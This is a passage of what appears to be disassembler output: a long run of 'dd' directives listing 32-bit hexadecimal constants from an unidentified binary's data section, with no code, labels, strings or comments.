		dd 3A1DC10h, 69C693E4h,	19C138B8h, 0CE6BF47Eh, 0EEDD300h
		dd 0E08025F3h, 284C3F6Eh, 0D23D00F9h, 43A51151h, 0E8516ADBh
		dd 151FC488h, 0F3C93500h, 639D492Eh, 48AD0564h,	1DD53F11h
		dd 0EE3E03A8h, 4C98209Fh, 4A00B773h, 0B6F758EDh, 83AA42h
		dd 8A5AF523h, 82513EEh,	461A3D00h, 0E5E1479Bh, 0F30F0024h
		dd 2AD21712h, 9C391D31h, 3FE68021h, 0AC8E6E50h,	34AE02Dh
		dd 0B2595335h, 4D90F4A3h, 77006AFFh, 18C5E9DBh,	4CA1DFh
		dd 0E12CB5Fh, 8313FAABh, 38B860E2h, 0BC069673h,	0D82B66D6h
		dd 0C46903B4h, 8F3576F3h, 4F18E9A0h, 9CF4F03Eh,	0D0474B3Ch
		dd 6110A954h, 0B09D89h,	25106D06h, 37A41B5Ch, 7A31302h
		dd 8E935439h, 0CD807E9Ch, 3D056296h, 44924Ah, 0CB67F8C1h
		dd 8CAA8122h, 0EB4E2D07h, 98E02C10h, 7E16EAh, 0BC9AE095h
		dd 0F4B3FA2Ah, 808B583Eh, 0C6AA2EE9h, 178C72Bh,	4DE33D75h
		dd 6FEE5266h, 0AC295B80h, 0A3732467h, 7125039Ch, 3800E8F1h
		dd 0E76AF5ECh, 3EDE78C2h, 25A83C22h, 6D42F4h, 0B71D282Ch
		dd 0EC3691h, 6A83B502h,	9F2B6753h, 1700D272h, 0A09ADD58h
		dd 93F1Eh, 12FA579Ch, 0E0428981h, 0D5D6200h, 7D35DBE2h
		dd 56CDFBE5h, 0F65A5ECh, 6A5B3BA7h, 5390F560h, 0DA008F97h
		dd 0AE6B22ACh, 1211A763h, 7AE78Ch, 26AD436Ch, 0D00C3E2Fh
		dd 19FD703Fh, 4E4200B0h, 5C5557A3h, 0C7016EC9h,	0F0691992h
		dd 4ACCF537h, 9B6028F6h, 0CA6F0088h, 0AF337A8Fh, 4C03D2FAh
		dd 0C7B59ADEh, 725290F0h, 2E6C1F94h, 4D188038h,	0CA5746C4h
		dd 83011890h, 5CAD72F2h, 6EF8E588h, 3ED30036h, 67903357h
		dd 0A8001055h, 4B0A2F18h, 3DC1FBh, 0FD4E9863h, 0D7A33320h
		dd 70371100h, 688449EBh, 246540BEh, 44EB323h, 0D03AADFEh
		dd 0B1875104h, 81247FCh, 3C00978Bh, 80F0CFB3h, 5BFD03AAh
		dd 0F1C8399Dh, 0D6159F81h, 972EE448h, 4A039C90h, 99931AD5h
		dd 55100095h, 0DD1E773Eh, 5A0B33A2h, 0E34F03h, 0B0525F90h
		dd 0E4CF076Ah, 0E9F21C2Dh, 8673C800h, 4600B129h, 5CE7F310h
		dd 90B0B7B6h, 0EC90E224h, 0DB911E03h, 0B995C0A7h, 0E83C044Ch
		dd 130B2200h, 0C79B47B1h, 17203E3Ah, 0EE269076h, 2A970092h
		dd 0CC96BBABh, 45003BD1h, 444F28A3h, 3FCCF3Dh, 0A527DA5h
		dd 0FAB8756Dh, 27738499h, 0EAF8B700h, 692E838Dh, 60EEEBh
		dd 19261F82h, 936391C3h, 24FEE530h, 3090418Ch, 769083F5h
		dd 0BE0045A7h, 9C8F8153h, 69022Bh, 74250678h, 0D1DA5415h
		dd 0C471AD00h, 2D327F37h, 0EDCE01A5h, 915B53F3h, 8AB840F5h
		dd 7D758EB9h, 0CC797098h, 4F42FD00h, 69CE6F0Fh,	382B48F3h
		dd 3C1F8C00h, 7F48073Dh, 30A5EC30h, 0C24F99h, 0E41465F9h
		dd 0ACD371CEh, 6EA8A250h, 2B15E70Fh, 0B844CA9Ah, 0C332E502h
		dd 70BC9656h, 0C89124DFh, 0E21D835Ch, 9C98E6DEh, 9D00FAC2h
		dd 0E451433Eh, 4B65E5Dh, 0C06A508Bh, 2F6DC0F3h,	6F00A1A5h
		dd 6B4F0C9h, 969A76h, 92A7F830h, 47B68F12h, 257D4500h
		dd 9087EB03h, 77737F65h, 0CC9C00EEh, 32837C98h,	9A3AA0A1h
		dd 627F1F69h, 1B8AB500h, 3B39B63Eh, 7800E4A9h, 0BDAD209Bh
		dd 950EA8C0h, 4BC283C6h, 1EAE00D4h, 0CDAB61h, 87E35D0Ch
		dd 0D72025E2h, 1AECC303h, 7C7FBC6h, 52A6E6A2h, 346F70CEh
		dd 0F23FB6EBh, 5C270043h, 0C4F3C3FDh, 18F53C21h, 9CAE8180h
		dd 0B48CD02h, 3CC703Dh,	6DC0DB56h, 548AB860h, 0B32E00A2h
		dd 2565AB53h, 3B3F474Dh, 0F83D94h, 5E5289B5h, 245FE0h
		dd 0C43036C7h, 0D2663D09h, 8B0BB41Fh, 78DEB780h, 12084C4Ah
		dd 0C796D9h, 0A7574468h, 3D005073h, 0C5E4F6Fh, 109763Eh
		dd 3F2D4C2Fh, 0ECF07411h, 0AD00DAC7h, 98C0DE03h, 7064CCDBh
		dd 0A535090Ah, 6C00A8C2h, 0A3EF9DD9h, 4FCFD10Bh, 468F00D5h
		dd 7164DA7h, 0BD867B6Dh, 3CF6601Ah, 0C0009B62h,	42F1A3C1h
		dd 39D9ECA7h, 0E0014AE8h, 0D2D50401h, 0EAC0C6E2h, 777F4148h
		dd 9D258C00h, 0A01C3288h, 86465093h, 548B003Ch,	705CA1D2h
		dd 0E071E86h, 50D9ED2Bh, 0E74AA0FEh, 0BBF02h, 6F7970F3h
		dd 0D154CFD0h, 50FDC700h, 0FB2C78DFh, 5752388Bh, 3555A300h
		dd 0F99EE08Dh, 86008EEAh
		dd 0A9AAA472h, 77CB6137h, 8DD700A5h, 0A17C40FAh, 4800AF3Ah
		dd 73EBE3ABh, 27E976h, 7B94A64Dh, 0FC2866E1h, 529F1100h
		dd 0EC9609D2h, 0B5B4003Eh, 21A7622Fh, 543D0EFBh, 0E9B12C3Ah
		dd 1ADB6101h, 46C88A30h, 142C0047h, 2445CD0Bh, 4A0EB0D2h
		dd 0E0D84149h, 37D46857h, 0F00B0366h, 14B36EFFh, 0E13E3E01h
		dd 0E096ACC2h, 2D707BD1h, 0E52F0B9Fh, 0E707BBBFh, 43C05EC7h
		dd 63A8C156h, 0D300A6F6h, 3222BD5Dh, 0E8EB9Bh, 0B491709Eh
		dd 6E80F6B6h, 0CAD9C51Dh, 0BB666DC0h, 0A29FCFh,	0B8F8ED3h
		dd 3ED7291Bh, 38EA4403h, 86E07Bh, 0B2130748h, 84B95B0Fh
		dd 68A7BB0Eh, 69B4C0D1h, 1D80A9h, 176DA619h, 2337B3E3h
		dd 0B942FE0Bh, 0AFDD806Ch, 0F69754h, 295E6903h,	757A7825h
		dd 37812F00h, 92549E68h, 3AFC3AB0h, 0B85B9986h,	5300D0C7h
		dd 0B75D4D19h, 1F9FAD78h, 7A395DDh, 0B0EB624Eh,	3F405AA6h
		dd 0DC14A09h, 490C8361h, 1225B877h, 0FFDB38D9h,	0FBADD87h
		dd 0D4B460CFh, 96019917h, 5EBB75B0h, 51208B4Bh,	8E980064h
		dd 3AA36036h, 4C015104h, 9590552Fh, 0E03E0F2Bh,	0F0001F63h
		dd 13F4CF8Bh, 0B91E7D5h, 0ADE603AFh, 83B4A480h,	0F601A057h
		dd 0D2B21A2Ch, 18D0F2E3h, 2E3698D8h, 0E11034h, 677EC3DDh
		dd 90008E0Dh, 0EE9AB585h, 76A841FDh, 91E007A6h,	0E2FA06A4h
		dd 0F6C0F61Eh, 170040C4h, 28D470A0h, 3A41998Eh,	0A38747D0h
		dd 0B0ADD36Fh, 9C1D86A6h, 21CB7002h, 80B769E3h,	0F8EA5AD0h
		dd 30D16052h, 5F1DD7FDh, 0C9B2E01h, 0AEB49C23h,	0F18AD8h
		dd 4C1CCED5h, 91F49241h, 29836F00h, 260DD0E8h, 0CB7201EDh
		dd 0B2C00362h, 0FCF2D857h, 66AD761Fh, 0A0483047h, 0F3FF2670h
		dd 0F5430759h, 0E3911B09h, 18747989h, 8ABC8C03h, 0C77FACAAh
		dd 90EE805Fh, 7C886Ah, 532F385Bh, 0C115D8ADh, 315FC300h
		dd 9E7540ECh, 5A250020h, 8E678343h, 5500AFC8h, 29D450F6h
		dd 387E1FDEh, 4F8EA05h,	0FDB6F38Ch, 0F908870Ah,	0F0302010h
		dd 0F91AFA00h, 0A34A6B5h, 9B700057h, 49F4EF1Ch,	5103452Fh
		dd 0B6E08583h, 0C88FBB06h, 4D1E37Ah, 584922B5h,	0B140801Fh
		dd 0DD740ED5h, 0A724EE02h, 80BE8D81h, 0EC6F68A4h, 7D0800FAh
		dd 0E178F55Dh, 0BBE59888h, 0C978338h, 0EFB3811Fh, 0F016C053h
		dd 0E7E2B8h, 0D517D019h, 0CFDE354Ch, 0A8D82E00h, 0B30E43EEh
		dd 390F9807h, 6507C98Dh, 90F14F13h, 1ABC1BB5h, 7C969400h
		dd 19798851h, 4A291F02h, 0E1F4803Ah, 470117FDh,	1FB38B17h
		dd 0B80F9500h, 1C9EB4D7h, 0E0B676h, 0CCD3DB2Eh,	0D2F07A92h
		dd 0AE697C01h, 38522F5Fh, 1F11D9E8h, 426B54h, 9F6DA0CCh
		dd 0F000B3E0h, 4AA81E3h, 7C311B4h, 0A6CB010Fh, 0D8802E3Eh
		dd 79854A2h, 95C9BF0Ch,	0FF1808h, 976333BCh, 0A1381CE8h
		dd 0EEFAE300h, 5DA01613h, 547501BEh, 90F5057Ah,	0FE9ECC46h
		dd 0D6669700h, 2869D017h, 0A3671E0Fh, 68E2805Eh, 7398ED12h
		dd 88906100h, 0F177C339h, 3F36001Ch, 338EEF30h,	0B72B684h
		dd 0FAB9D8A0h, 0A3009FE2h, 8D14D194h, 9D6849h, 6B5C3080h
		dd 0F411D4E9h, 5EABEB00h, 35180793h, 0C4CE01B8h, 5DE9D9A8h
		dd 5CE42068h, 42CA7900h, 93FA8144h, 0E3BC01EBh,	88842755h
		dd 510B6064h, 0C5D79400h, 0EAE94E03h, 64E27F19h, 0C2D9706Bh
		dd 0C0607FB4h, 600F05Eh, 0BBF69060h, 0FBEB41h, 71AB3DE5h
		dd 5044968Ch, 0E89948h,	792BA137h, 302A0865h, 82409B75h
		dd 2400BCB4h, 347254EFh, 1F19E66h, 3FE7AD64h, 704E626Ch
		dd 7A3ED887h, 9C559BFFh, 8F4C2E38h, 1BE700FAh, 2879125Ch
		dd 66FBD1Fh, 64DE9603h,	20F05085h, 364B0370h, 0D181CDB8h
		dd 6274401Fh, 309A6609h, 1CE4B4h, 4E2CB3E7h, 6B3E5E80h
		dd 0C2B9EB00h, 7699D505h, 8F110150h, 0C428ACBBh, 8CF1F06Ah
		dd 0EEDAA000h, 63A50177h, 0B1C00081h, 8D282A6h,	4701B7CDh
		dd 0A19ADDAAh, 7570708Ah, 3DD61E33h, 0C3B3401Fh, 0C432EFDEh
		dd 0B803ECB0h, 34DF8C9Ah, 406FFF5Bh, 0ED501E4Ch, 749C189Bh
		dd 7A828812h, 0A305290Fh, 18E4A062h, 0ECB70Bh, 0AC2B6BF9h
		dd 0D12352D6h, 1F00DFEEh, 93ED4ED5h, 30F18985h,	18A838D0h
		dd 0E705E8Fh, 872838h, 31421453h, 0E112FC5h, 0C3A843A3h
		dd 506D4A0h, 84077AB0h,	22D6E028h, 0B2B0D107h, 47F1EFh
		dd 506407BAh, 0F7CD0952h, 0F0A8C030h, 19EFE7h, 0F1B6C184h
		dd 5EAFFCD1h, 0A867A207h, 80FB2A9Bh, 0FE52A118h, 7CBB7B64h
		dd 0EEC1A0B0h, 68D4A041h, 3A3E3866h, 70555680h,	6789441Bh
		dd 57C97818h, 7F5E10h, 5A79DBA7h, 39350F49h, 842EB77Eh
		dd 338128D9h, 0C2BA8F7Bh, 13B58024h, 0DE7803h, 0E66B61B4h
		dd 7503CF52h, 3F1C887Fh, 0E832E867h, 185D79A8h,	4825C354h
		dd 4003727Bh, 5F0CF2CAh, 38A01E42h, 0C5CEC055h,	29918ACFh
		dd 68C07777h, 858C1BEBh, 3254059Ah, 0D07982D2h,	86315B20h
		dd 480BC600h, 25E66F05h, 0C9CEC3Eh, 0DF946CE1h,	0B8B0C6A9h
		dd 8ECF3Ah, 8492D2DBh, 0B04BBCD7h, 0CCB20700h, 1183AEBh
		dd 8E48FAE6h, 41B8519h,	0B7C09E59h, 0E8E8CA64h,	57AD0565h
		dd 8088D9A2h, 87E7E960h, 691C8C00h, 4A4C9EB5h, 786A6010h
		dd 0E181E861h, 9F57AB00h, 9186ADB7h, 5BCF0B3h, 7870E22Dh
		dd 30D04027h, 0B29CA84Dh, 0BD32D90Eh, 45DF82F2h, 7B0AF7Fh
		dd 0FDC1CB09h, 75C0B864h, 281A01A0h, 26076C32h,	79DB6081h
		dd 0A8B15907h, 19E0E391h, 0F09BF28Ch, 20493B2h,	6AED8AF3h
		dd 1076D880h, 7E52025Ah, 15848E4h, 734001C3h, 74D3CB87h
		dd 0DB7C38h, 192B80F5h,	0C77F8C0Ah, 0ED21E8A9h,	0C2389C77h
		dd 0B8BF4300h, 0F887E0D9h, 0C19F1DF5h, 0A6C340F2h, 26F912BDh
		dd 0CF8C151Eh, 0B3A050FAh, 980EA4B8h, 808D3FF5h, 0DDA30912h
		dd 51550E11h, 0DCE1A633h, 347B75E9h, 1B00FD30h,	9CB6BEE6h
		dd 1E50431h, 485065F9h,	60CC0C7Ah, 0A100FF3Ah, 0CE34C6F4h
		dd 176B91Dh, 28A2DC8Fh,	2031B064h, 8300E26Bh, 2AD291D0h
		dd 654C39h, 646DEBCBh, 13A18938h, 5A45BE12h, 28E9B404h
		dd 9E4800AFh, 0F64B3683h, 0B4304Ch, 987718FCh, 0EAFEE13Ch
		dd 5A1C0046h, 64CFC342h, 0B604CBFh, 7A3BE8Eh, 2A69136Ch
		dd 0CF100746h, 0ED17B037h, 7106705Ah, 3E2B8F9Fh, 4C992CE8h
		dd 23350121h, 0CD721EB0h, 8013FD66h, 0FDE6A5F0h, 0EAD6E1FFh
		dd 587D702Ah, 54003C9Dh, 8E2EBAC8h, 1C077E43h, 0FBBECCC6h
		dd 254963DEh, 0DF75C007h, 0ADEC000Bh, 5901952Dh, 8900A1E2h
		dd 0BFAB2326h, 5BB9A8h,	506BE06Ch, 0C5E692FFh, 0C832FCF1h
		dd 90D9FA00h, 719D42E7h, 0C090DFD6h, 4759D512h,	5E2E340Dh
		dd 65017270h, 167AE4E0h, 60C698DFh, 18E3A2Fh, 29ECDF00h
		dd 0FCF45235h, 0D3EB2400h, 0CB694089h, 8FDD0053h, 0B155E16Eh
		dd 0C609D494h, 58FD15h,	40C71CCh, 1689247h, 574A2D10h
		dd 0E6243C99h, 2ABB9040h, 43B55007h, 0CFC382E8h, 3F22887Eh
		dd 93C5EC84h, 0DDE208B0h, 805D4009h, 276B96A8h,	0B049D4D2h
		dd 9DA75303h, 0AB0458Ah, 0B33011FBh, 10C821B2h,	28E86798h
		dd 0E647409Bh, 0A200A757h, 0ACC16DBh, 48711FCh,	3D4903A6h
		dd 21E8D0A5h, 0B012622Ah, 0A42C8B85h, 3DE930D4h, 53C359E1h
		dd 205C2A17h, 0AD602900h, 0DA2C76h, 7735E006h, 9333133Bh
		dd 242D6E3Dh, 0C906E875h, 9401FEBh, 6DFE3418h, 0C1E04880h
		dd 18C04F80h, 0ABEFD76Ch
		dd 597B00DBh, 0E8FAEA43h, 3C0CC6A2h, 81B96A58h,	1C3F07DAh
		dd 61F21114h, 0C84F7BD8h, 971C7391h, 9B00CFEAh,	0B109E1Fh
		dd 51E10B07h, 4300F55Dh, 6EB8085Ah, 0E91E3105h,	0B4010B30h
		dd 86AC3D16h, 347A160h,	3E839308h, 990081CEh, 15D8AE6Bh
		dd 7F8F27D1h, 44283D56h, 64FC5Ah, 7754641h, 20BBCBh, 353FC8Fh
		dd 8137EC0h, 1EECB57Dh,	8660817Ah, 92AC7A60h, 54550776h
		dd 202B6E6Bh, 8526CBB8h, 0A7658800h, 6A5C89C6h,	0EE3E0A14h
		dd 0D097D1h, 38BD6B2Ah,	86074CF2h, 93C0F1Ah, 72ACEBB0h
		dd 78E700E3h, 9E1907DBh, 0D23B673Dh, 6CB30121h,	4BB28690h
		dd 26A6F1FCh, 40F4E591h, 3077995Ah, 8A0B7C00h, 9BC18567h
		dd 0A3E63AEBh, 7866338Eh, 12A0C64Fh, 0E835468Fh, 0C8286D00h
		dd 0A3F0F4F7h, 1BD800DFh, 835416F3h, 0DCE782ECh, 9F763039h
		dd 0D088A07h, 0A1C710FBh, 0AEA6E6F0h, 0F49D3CDBh, 2A306303h
		dd 0F7A8A9E5h, 0ADFAF2FCh, 6B60D80Eh, 91B487DEh, 9E8CFA0h
		dd 29061EACh, 0C74A0070h, 51D6C2B7h, 20076A00h,	144EF877h
		dd 0F63EC258h, 8A60BDF7h, 0D006B59h, 9AFA624h, 0AD9A828h
		dd 8642FBADh, 0B39D00FCh, 0E6A67914h, 0B443E71Ch, 0BD5EF7CEh
		dd 6C3BDF81h, 49E4D31Eh, 0DC924C76h, 0BA66AC13h, 2F7BC800h
		dd 5FE67Fh, 0AA048935h,	0F1BF305Dh, 0CC1084A1h,	0A0B88B40h
		dd 0C4FE0802h, 40FCBECEh, 153BFD0h, 87546FCAh, 0E4048A7Bh
		dd 62007FC5h, 70DC26Dh,	79A00F95h, 37940076h, 598F23Dh
		dd 0E01C2B61h, 26402F30h, 4307AE11h, 484F009Dh,	0C56FA8DAh
		dd 0E000188h, 0D52C093Eh, 76FF3350h, 0B0DD00E4h, 0BA2A81D2h
		dd 6B005B48h, 0F2E7451h, 3BC04D0h, 0AE353A1Ah, 0CAF9D1B8h
		dd 0ED80D221h, 77B493B5h, 6965DC00h, 0B93F371Ch, 0F8A50027h
		dd 0E3985EE0h, 133E5B0Dh, 293B0021h, 7F4B2361h,	0DC9604A4h
		dd 809AA6A9h, 6974FCF4h, 0AA07C100h, 0CFD66DF6h, 0A16C0705h
		dd 70036EBDh, 0E972BC1Ah, 0CAEAEE00h, 0B2F67670h, 2AD04836h
		dd 0EF7A0500h, 0E4301227h, 313A4703h, 0A1C0DDDCh, 60746BAAh
		dd 9355013Dh, 0DFC57A54h, 43E474B3h, 72519007h,	64E1E2BDh
		dd 0B040A960h, 1C3C0B37h, 8146B5E7h, 0A4479559h, 6763C825h
		dd 33C09A00h, 3B0EF685h, 2FC7Ah, 1A6C6B8Ch, 403F7429h
		dd 0EC00E070h, 75265B4Ah, 4CE4CB57h, 809EEC8Ah,	0BA20A586h
		dd 790E83E8h, 0E7A9AF36h, 71807A99h, 478535h, 7C55D69Bh
		dd 1C6F62C1h, 4DF70900h, 20BF9C7h, 6CB400C0h, 0DD964375h
		dd 0E118EA77h, 2EC0BCA0h, 10ECA6D1h, 263A3FCh, 2C312878h
		dd 0F8726391h, 62B0723h, 569527Fh, 140004D1h, 0F554C647h
		dd 28CD0878h, 16D4B04Eh, 8B249Ah, 0D760F92Ch, 0D51C97BAh
		dd 48806947h, 35C20D43h, 13770065h, 0F71F7A63h,	730BAF8h
		dd 791A8037h, 0B834007Fh, 60EB405Ah, 9A4889DDh,	6BC501B8h
		dd 9DECA95Ch, 0A2208BDDh, 8A870338h, 94630554h,	323C2A98h
		dd 9FC58E0Fh, 0B3E9200Eh, 0B2DE1Bh, 860D26D4h, 0C3A9711Dh
		dd 0D717C409h, 0F8B807F6h, 889088C5h, 9C272E51h, 0AA3F044Ch
		dd 89E4F4B0h, 85210600h, 243150CEh, 9C431637h, 0CD9C44F9h
		dd 0CCC4C065h, 7100157Dh, 0D3610C97h, 0A0C573E4h, 8D5CB8h
		dd 90CD2F09h, 0AE238698h, 0CB0706FAh, 0E5628A7Ah, 95267BE1h
		dd 6332A440h, 45430065h, 176DCF55h, 3D093144h, 8087B4F3h
		dd 2F03A1E0h, 0F9B64C2Eh, 4009BA00h, 0EA177778h, 3CE07B4Dh
		dd 4DCD81CEh, 2EDE8074h, 0B8D830h, 0CC795220h, 0DA293951h
		dd 381E1300h, 68F15C95h, 0BEAA0065h, 62C26618h,	69004220h
		dd 0C5F20FDDh, 7AC38384h, 9AA1036Ch, 0D1286FB3h, 365DBBE8h
		dd 0FED8C500h, 5AC650F4h, 2B2212E3h, 190C026Bh,	0F898B4A1h
		dd 328035EFh, 4C05015Eh, 0EBF42846h, 1A16F87Dh,	0A73DCF02h
		dd 5647EA6Ah, 95EF0E73h, 5880332Bh, 51300C59h, 25A05C00h
		dd 0D32B861Bh, 6D613ACEh, 9D817A83h, 44C0CAAAh,	4907E27Eh
		dd 18389A4Fh, 9075CEB0h, 404A0003h, 154C511Bh, 0E8008430h
		dd 801C993Ah, 3B703620h, 4A099666h, 280CC56h, 0BA94E2F6h
		dd 41BA705h, 0C8B13660h, 4AEEE02Eh, 0A4000EE6h,	9AF9C8F1h
		dd 145085A0h, 8086464Dh, 0C9E99C00h, 0D7FFADA3h, 2F774A0Ch
		dd 1C20E7h, 7A6FE350h, 4C8F529Ch, 0EEA4B00h, 0D7DC5722h
		dd 0A3632DF3h, 0D0C4F880h, 0A70943D4h, 80DF94D8h, 4A0A5160h
		dd 12B000A8h, 77BDB4B1h, 0DC22CA22h, 914400B2h,	1EF3826Ah
		dd 16051709h, 0D4B1D27h, 7C59E680h, 565D3EB1h, 768BD502h
		dd 5A6158E1h, 0CC843082h, 63AF1F00h, 0F2A08368h, 7545015Ch
		dd 0DF32C2C1h, 6EBF801h, 5F380EEEh, 83518F16h, 229FC57Ah
		dd 0F19820D2h, 0DE950B78h, 0F54F2000h, 0AA3EE64Ah, 8B16808Dh
		dd 0F3C856EFh, 42BA0CB6h, 4628D943h, 513F9DB0h,	300B7CABh
		dd 0C7C463h, 1E2B82FCh,	0BE29C053h, 18923852h, 0BB214C1h
		dd 33EC8B5Ah, 6E97007Bh, 1704D8D6h, 70E20EABh, 0EBCDB301h
		dd 9F6A5402h, 487A5DD8h, 0A600BC93h, 8E9C04BDh,	0AE0086C0h
		dd 78267068h, 5DF97Ah, 0F7654345h, 0D2B26D55h, 46E64400h
		dd 52C0340Dh, 9E5F2CD7h, 0A47302D8h, 2CD00907h,	1EBC2848h
		dd 24CE1174h, 70554038h, 24FC69Bh, 0D76B9808h, 94682FCFh
		dd 0D090177Eh, 34D11B03h, 0F2D3D0ECh, 0BB98401Eh, 138F007Dh
		dd 0A167C399h, 0D80EFEADh, 4312D74Bh, 7197E1Ah,	0E955A228h
		dd 0C8DA67h, 5AB086E8h,	20EA1FFh, 2098C181h, 71A780D3h
		dd 8F7807D9h, 0C0AABD7Eh, 0E93290D2h, 3D8B5D0Eh, 8016AEC1h
		dd 13C05C79h, 0E47A00D0h, 0A829C674h, 0F91393C7h, 0D00092DAh
		dd 0BEAC9B15h, 7E6D00BCh, 8931CADBh, 7B00D9AAh,	55E37351h
		dd 5AC18C39h, 46300092h, 0CF6AACF8h, 75C70D00h,	1FC5D1BEh
		dd 0D0220493h, 0C7FEE068h, 0DBEC50D0h, 70BC95D9h, 0E680442Eh
		dd 8179759Dh, 0F85F609Ah, 2EE9A546h, 0AB423101h, 0B4F1C003h
		dd 568BC4h, 0D26CF483h,	5708BC82h, 9588CF01h, 5C7F9B7Ch
		dd 19104C8h, 42DBCAF4h,	0DC0933D4h, 1E0029BFh, 54E937A4h
		dd 14D1E33Ah, 0D43D4A8Ch, 0D6D93518h, 601C6270h, 22405DD5h
		dd 7FDF380Dh, 0F7E40C42h, 9711C9C4h, 0F9E1DE03h, 0B87AB27Dh
		dd 904691h, 27799243h, 0B4FFA755h, 36D5B001h, 9BB867D9h
		dd 0CF20D4h, 78EB2508h,	0C6918CB7h, 766039h, 0ED2184D0h
		dd 7F9B9844h, 0B37EE42h, 1F6C28B3h, 2EA93F81h, 8812C8EAh
		dd 3452BC1Eh, 464AF680h, 1F68BEF5h, 8AEEFA8Eh, 703C79h
		dd 0D5702EC9h, 0AD00C778h, 0F2FEAAE0h, 0F85E66B9h, 92CC00A5h
		dd 4C5C1A48h, 5500A6D7h, 4264EFECh, 3812EB41h, 0F1000E87h
		dd 0A3F0FA7Ah, 80000C1Fh, 5C91D07Eh, 7B89DAF3h,	0F89E0015h
		dd 76E11B33h, 871F11B4h, 3A80EB74h, 301A065h, 0B76126C2h
		dd 0DDA60648h, 190030FFh, 177C3D28h, 1EF1Bh, 711F2FCAh
		dd 81FFD8D5h, 0C670A871h, 0C5E50907h, 52E03AB8h, 5E766h
		dd 0B045D68Ch, 2F8BD9C6h, 0E5C89300h, 4152870Fh, 8AD70C0Dh
		dd 92B97C5Ah, 2F4D4Ch, 0C43E24FDh, 0DDF803h, 0ADEB50A2h
		dd 711EFE96h, 77E00900h, 827662CBh, 375B3E40h, 0B2B86D04h
		dd 0A234C0E6h, 0A4003024h, 94BD1823h, 0DAAF88h,	11345B39h
		dd 1DCEE8D4h, 29CCFA07h, 0DF306255h, 2022B8Ah, 0BAE08768h
		dd 204037CDh, 3FB01681h, 70A2469h, 42E2FC83h, 0B4994094h
		dd 68B8C3E7h
		dd 3000E0FEh, 8A98D511h, 8C9D61h, 5095E255h, 0E44DC28Dh
		dd 0BDF06300h, 1C812D4Bh, 96293949h, 42CE183h, 9BB8B759h
		dd 4D766AE9h, 3C7EF800h, 70C7D643h, 0F9D500ACh,	37AD8AECh
		dd 240096A5h, 55A1CE4Ch, 17011A15h, 0B197FA0Ch,	525BE833h
		dd 0AF589800h, 0E4BD073Dh, 70B7EB7h, 4527D1F0h,	8059E0BEh
		dd 0DB07EB49h, 3D85688h, 79392A80h, 0B09D073Ah,	90BDF953h
		dd 0A805A66Ah, 8052CB3Ah, 9CB494B2h, 0AFF7DFh, 5E2D44C6h
		dd 5370E991h, 7D90F09h,	8A80061h, 50FDBC78h, 379F65h, 0BA1DFC16h
		dd 1FC77994h, 9EB77400h, 2F5BF04Bh, 0E3DB0012h,	19FA8F29h
		dd 0D0E48625h, 986E48h,	672E330Fh, 76CCA459h, 0AAAD026Fh
		dd 31F0C791h, 0E0A050E2h, 0A57E51EFh, 479E6200h, 0C3AA76DDh
		dd 0B2251270h, 0DAB905ECh, 457BC07Eh, 5B0EF713h, 604B18DDh
		dd 5ED409AEh, 0EC037BC3h, 58BC006Bh, 215C38D8h,	98E681B0h
		dd 95FAC91Fh, 66E54EC0h, 0C00F93AAh, 0B5A56078h, 0C2266EE1h
		dd 200D980h, 211085A6h,	2AE5FD03h, 86AAD887h, 0E8D38065h
		dd 9181481h, 0FF307F90h, 0A0B30112h, 0B9E7FB36h, 0ABE1EC3Eh
		dd 0A9FD0700h, 0FFF7AF4Ah, 7D4B319Ch, 0EC9ED570h, 710EDF80h
		dd 2008ABE7h, 5B448397h, 775944E3h, 0E1123F00h,	71AEB694h
		dd 0F734002Dh, 0D53EB4E7h, 840A4D81h, 0BCD3EA3Ch, 0B975E981h
		dd 13715C9Eh, 52C20h, 0DC2252D5h, 0D83E7B8Dh, 8518F960h
		dd 0A0662BBDh, 946EBCh,	0F51E2F4h, 8D89E82Ch, 79983300h
		dd 3F249A5Dh, 0C4AA0383h, 8FB52677h, 8EAB0CF3h,	2DD103A8h
		dd 7AA30800h, 3A9D805Eh, 4FCE00AEh, 1EEABA9h, 53003C27h
		dd 0C6081FF5h, 0A8DEEAh, 4424E922h, 0E4AF6B49h,	4200E0ECh
		dd 0A998A6D6h, 709EA47h, 21A122F1h, 0DBF601Fh, 0FF00E8BCh
		dd 28D634CDh, 0AFC79E3h, 371BC30Ah, 45505A8h, 36AC00CBh
		dd 0E3C7E191h, 0EA8BC500h, 0E661735Fh, 0CB7DBAh, 2BFFE974h
		dd 704928B4h, 1729DD00h, 7FAF8434h, 91DF64Bh, 0A8196595h
		dd 0AD0F0880h, 7B7C214Eh, 27043B00h, 2D7AC3FBh,	3E3EA70h
		dd 637557A2h, 0CBA822AEh, 0CD1F7723h, 0A406E98h, 325B230h
		dd 88DD001Bh, 5A45EE2Dh, 82064E91h, 8F59558Bh, 649858D8h
		dd 4772BD00h, 0D1368DCBh, 0E9F67100h, 0EB1093B8h, 8291C0CCh
		dd 0B1946723h, 6352600h, 0A89D3DAh, 491702AEh, 0CA8299ABh
		dd 4A2BE040h, 0E0E28116h, 0B794BA07h, 23833380h, 0B05702BAh
		dd 0B8196218h, 0C10BB560h, 95275312h, 0C6EB3C40h, 72F5972Eh
		dd 496C008Eh, 5C6918CCh, 0FA001E31h, 0B003A314h, 546E1Ch
		dd 79B81F7Ch, 803F2A23h, 0EE889B00h, 18A06791h,	2D420016h
		dd 0BE6BA915h, 60003F83h, 19179CD7h, 2C0FF9C8h,	3A9425C4h
		dd 9FA0B904h, 0E030C096h, 0D45E3868h, 500A0E8h,	561A4631h
		dd 4A6F95B2h, 23FE20B8h, 3D4F552h, 0B47C88CCh, 4C91321Eh
		dd 6CEC2401h, 0C6168000h, 78A8AC5Bh, 0BB4EC73Fh, 9466C3FDh
		dd 7B1CF105h, 0DC89EA8Eh, 617D9180h, 0ABC5C2D7h, 0D148EC60h
		dd 0DD2932h, 4F058B07h,	374A818h, 0BC973403h, 90C4CB64h
		dd 0F31ADB0h, 9ABE0F4h,	93FD0EE3h, 245D42A1h, 68FA7750h
		dd 68C024ECh, 819F98C9h, 0DE160066h, 0DF109B7Fh, 711C95E4h
		dd 0C680EB76h, 0C24D48E5h, 0A2302836h, 4C410090h, 0CCCA6ACBh
		dd 4E005FE6h, 765C9746h, 4CBCC303h, 0B7091C15h,	4890E579h
		dd 0EA544DAAh, 1F0546B0h, 72C2102Fh, 98B410h, 861AB728h
		dd 7C72A01h, 0C49AEF2Dh, 0A12310A3h, 8CB87B80h,	5E158B1Eh
		dd 0E0FF384Fh, 0B575FA65h, 0B864FEC0h, 8B5B0FB0h, 962303B6h
		dd 44B3080Ch, 0BFE988E0h, 85006171h, 0FFE78B28h, 0E5597Dh
